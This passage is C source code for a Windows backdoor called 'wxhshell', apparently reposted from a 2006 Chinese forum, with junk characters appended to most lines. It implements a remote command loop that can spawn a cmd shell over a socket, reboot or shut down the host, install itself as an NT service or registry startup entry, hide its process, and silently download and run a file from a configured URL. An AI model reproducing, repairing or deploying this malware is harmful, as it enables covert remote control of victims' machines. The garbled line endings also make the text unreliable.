    break; S3-3pJ]~Zk  
  } [YT"UVI  
  // 安装 KZn\ iwj  
  case 'i': { L+@RK6dq  
    if(Install()) M9MfO*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u</21fz'  
    else f=v +D0K$n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xz dqE  
    break; GXC:~$N  
    } EEQW$W1@  
  // 卸载 umXa   
  case 'r': { 48]1"h%*qB  
    if(Uninstall()) 8U B-(~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mDmy637_  
    else "Vp+e%cqG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {z?e<  
    break; .bbl-a/ 3  
    } -yt[0  
  // 显示 wxhshell 所在路径 ukV1_QeN [  
  case 'p': { vJkY  
    char svExeFile[MAX_PATH]; 4{rwNBj(  
    strcpy(svExeFile,"\n\r"); Pj_2y)^?  
      strcat(svExeFile,ExeFile); <`EZ^S L;  
        send(wsh,svExeFile,strlen(svExeFile),0); %&bO+$H3  
    break; ^8dJJ*  
    } &1:xY.Zs_  
  // 重启 :)+|q  
  case 'b': { *]%{ttR~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X )d7y  
    if(Boot(REBOOT)) x$9UHEb kM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *a xOen  
    else { oB8u[ !  
    closesocket(wsh); i Xtar;%  
    ExitThread(0); |`9POl=  
    } =LHE_ AA  
    break; BnH< -n_  
    } ?DEj| i8  
  // 关机 ml 7]s N(  
  case 'd': { 5nIm7vlQm  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xMDx<sk  
    if(Boot(SHUTDOWN)) 8$<jd^w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fU_itb(  
    else { DPn]de:e  
    closesocket(wsh); 2.O;  
    ExitThread(0); #KZ6S9>@  
    } Ji  SJi?  
    break; g W'aK>*c  
    } 9J_lxy}  
  // 获取shell ;X6FhQ;{*0  
  case 's': { I,D24W4l  
    CmdShell(wsh); -~eNC^t;W  
    closesocket(wsh); !+& "y K@J  
    ExitThread(0); BY"<90kBL  
    break; >6 [{\uPK  
  } uArs[e|f  
  // 退出 zYfn;s%A  
  case 'x': { W:8_S%~d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W0eb9g`s  
    CloseIt(wsh); -Cv:lJj  
    break; $6 \v1  
    } %qRbl4  
  // 离开 cYyv iR59#  
  case 'q': { aS?A3h4WM_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +`l >_u'  
    closesocket(wsh); )r-t$ L  
    WSACleanup(); #(-V^ T  
    exit(1); %"V Y)  
    break; xlF$PpRNM  
        } t_c;4iE  
  } o~H4<ayy  
  } 8D[P*?O  
N ~L3 9  
  // 提示信息 6rMGl zuRo  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B e"D0=<  
} =mYY8c Yl  
  } oqOv"yLJ:  
|lAu6d !  
  return; \;&9h1?Mn  
} A1x?_S"a  
j[Uul#  
// shell模块句柄 Fy8KZWim  
int CmdShell(SOCKET sock) !]4'f/  
{ =7ul,  
STARTUPINFO si; fb[f >1|  
ZeroMemory(&si,sizeof(si)); =ZjF5,@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k$?zh$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8r(S=dA  
PROCESS_INFORMATION ProcessInfo; L=ZKY  
char cmdline[]="cmd"; *@|d7aiO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IQxY]0\uf6  
  return 0; %M^X>S\%  
} {tMpI\>S  
w+ gA3Dg  
// 自身启动模式 Am&/K\O  
int StartFromService(void) Zp]{e6J  
{ +{N LziO  
typedef struct  M]:4X_  
{ >t')ZSjRs  
  DWORD ExitStatus; `|e?91@vEa  
  DWORD PebBaseAddress; wMNtN3   
  DWORD AffinityMask; i6M_Gk}  
  DWORD BasePriority; Au,xIe!t  
  ULONG UniqueProcessId; j@$p(P$  
  ULONG InheritedFromUniqueProcessId; cx M=#Go  
}   PROCESS_BASIC_INFORMATION; $]EG|]"Ns  
6f/>o$  
PROCNTQSIP NtQueryInformationProcess; V|xK vH  
zz3Rld!b[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _3-nw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V6Ie\+@.\  
1?sR1du,  
  HANDLE             hProcess; Ol3$!x9  
  PROCESS_BASIC_INFORMATION pbi; B;?)   
X(kyu,w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O0Y/y2d  
  if(NULL == hInst ) return 0; @SeE,<  
j4Ppn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o^%4w>|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q.Uyl:^PxU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0\# uxzdhJ  
I)I,{xT4  
  if (!NtQueryInformationProcess) return 0; i&\N_PUm[  
pB;)H ii\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .dwb@$  
  if(!hProcess) return 0; +"rZ<i  
Y}%=:Yt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q`}1 B   
YqwDvJWX  
  CloseHandle(hProcess); .q#2 op  
hGyi@0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c<)C3v  
if(hProcess==NULL) return 0; :J` *@cDn  
)]~'zOE_  
HMODULE hMod; $ KQ7S>T  
char procName[255]; =FUORj\O  
unsigned long cbNeeded; i{TErJ{}e  
I@~hz%'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s,> 1n0a  
-I4-K%%B`  
  CloseHandle(hProcess); LyRto  
&g;4;)p*8  
if(strstr(procName,"services")) return 1; // 以服务启动 9^l_\:4  
8 &:  *<  
  return 0; // 注册表启动 Yoi4R{9c  
} 6n 37R#(  
;Q>(%"z};  
// 主模块 ]etLobV  
int StartWxhshell(LPSTR lpCmdLine) v`#T)5gl-  
{ z 3)pvX5  
  SOCKET wsl; o!EPF-:  
BOOL val=TRUE; Qa~dd{?  
  int port=0; {tn%HK">  
  struct sockaddr_in door; .6S]\dp7~  
+Z[(s!  
  if(wscfg.ws_autoins) Install(); /~*U'.V  
. OA_)J7  
port=atoi(lpCmdLine); xB"o 7,  
f!2`N  
if(port<=0) port=wscfg.ws_port; 3{B`[$  
Iu`eQG  
  WSADATA data; TMZg GUn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; . fq[>zG'&  
Ga0= G&/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #"% ]1={b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q?rb(u(  
  door.sin_family = AF_INET; x"0*U9f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wQiRj.  
  door.sin_port = htons(port); w. exLC  
v{9< ATi  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C(7uvQ  
closesocket(wsl); xb$eFiQ  
return 1; ~$ } `R=  
} Fn0Rq9/@  
/Y|oDfv  
  if(listen(wsl,2) == INVALID_SOCKET) { tkU"/$Vi\  
closesocket(wsl); vy\;#X!  
return 1; -ZqN~5>j)  
} *fVs|  
  Wxhshell(wsl); A8Q1x/d(  
  WSACleanup(); J2H/z5YRJ4  
&z;F'>"  
return 0; h7mJXS)t|  
aW$( lf2;  
} /pzEL  
2)(P;[m^o  
// 以NT服务方式启动 ;,GE!9HW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H@%Y!z@\  
{ ]5b%r;_  
DWORD   status = 0; %IGcn48J  
  DWORD   specificError = 0xfffffff; gf2<dEff  
ZVu&q{s,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Mo`7YS-Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; * Zb-YA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aLapb5VV  
  serviceStatus.dwWin32ExitCode     = 0; l%]S7|PKx  
  serviceStatus.dwServiceSpecificExitCode = 0; ;7CE{/Bq.p  
  serviceStatus.dwCheckPoint       = 0; D/C,Q|Ya6  
  serviceStatus.dwWaitHint       = 0; Z'iXuI49  
Bgs3sM9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ka3Jqy4[  
  if (hServiceStatusHandle==0) return; sS#Lnj^`%  
2@WF]*Z  
status = GetLastError(); `h+ia/  
  if (status!=NO_ERROR) f6n'g:&.W  
{ IKSe X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G3vKA&KZ  
    serviceStatus.dwCheckPoint       = 0; -Gjz;/s%XH  
    serviceStatus.dwWaitHint       = 0; pcIJija:  
    serviceStatus.dwWin32ExitCode     = status; v~i/e+.h>y  
    serviceStatus.dwServiceSpecificExitCode = specificError; Qm86!(eZ-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m/l#hp+  
    return; & %4x  
  } sp*_;h3'  
Et{4*+A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; afY~Y?PJ<  
  serviceStatus.dwCheckPoint       = 0; sE7!U|  
  serviceStatus.dwWaitHint       = 0; 4r5trquC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !uoU 8Ki9  
} O}\$E{-  
8+m;zvDSU  
// 处理NT服务事件,比如:启动、停止 =w='qjh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h;105$E1  
{ bp Q/#\Z  
switch(fdwControl) >]uV  
{ td{M%D,R"  
case SERVICE_CONTROL_STOP:  9')  
  serviceStatus.dwWin32ExitCode = 0; tM3eB= .*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D4WvRxki  
  serviceStatus.dwCheckPoint   = 0; "i/ l'  
  serviceStatus.dwWaitHint     = 0; Oi# F  
  { 2:0'fNXop  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =jZ}@L/+  
  } z45 7/zO  
  return; :db:|=#T  
case SERVICE_CONTROL_PAUSE: lrg3n[y-l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?.66B9Lld  
  break; p%A s6.  
case SERVICE_CONTROL_CONTINUE: |f+|OZY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Lk{ES$  
  break; pj?wQ'  
case SERVICE_CONTROL_INTERROGATE: %:rct  
  break; 4L}i`)CmB  
}; 1j7^2Y|UT`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7u/_3x1  
} }& ;49k  
(izGF;N+  
// 标准应用程序主函数 r(9#kLXg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mZLrU<)Y  
{ r}ZL{uWMW  
O!#yP Sq?  
// 获取操作系统版本 >R "]{y  
OsIsNt=GetOsVer(); 8z\v|-%Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \d~sU,L;]  
Hbz>D5$  
  // 从命令行安装 ;w,+x 7  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8nn%wps  
.*+?]  
  // 下载执行文件 9Qja|;  
if(wscfg.ws_downexe) { f S-(Kmh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >D20f<w(H  
  WinExec(wscfg.ws_filenam,SW_HIDE); $|~YXH~O  
} f?)BAah  
7 ,Tg>,%Q  
if(!OsIsNt) { % \OG#36  
// 如果时win9x,隐藏进程并且设置为注册表启动 R_iQLBrd  
HideProc(); f4F13n_0X  
StartWxhshell(lpCmdLine); wxw3t@%mNm  
} 'r_{T=  
else O/EI8Qvm  
  if(StartFromService()) {=n-S2%  
  // 以服务方式启动 ;OjxEXaq  
  StartServiceCtrlDispatcher(DispatchTable); x>MrB  
else 4t3Y/X  
  // 普通方式启动 bs{i@1$  
  StartWxhshell(lpCmdLine); !ER,o_T<  
LRNgpjE}  
return 0; &|rh~;:jUX  
}
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只看该作者 1 发表于: 2006-10-10
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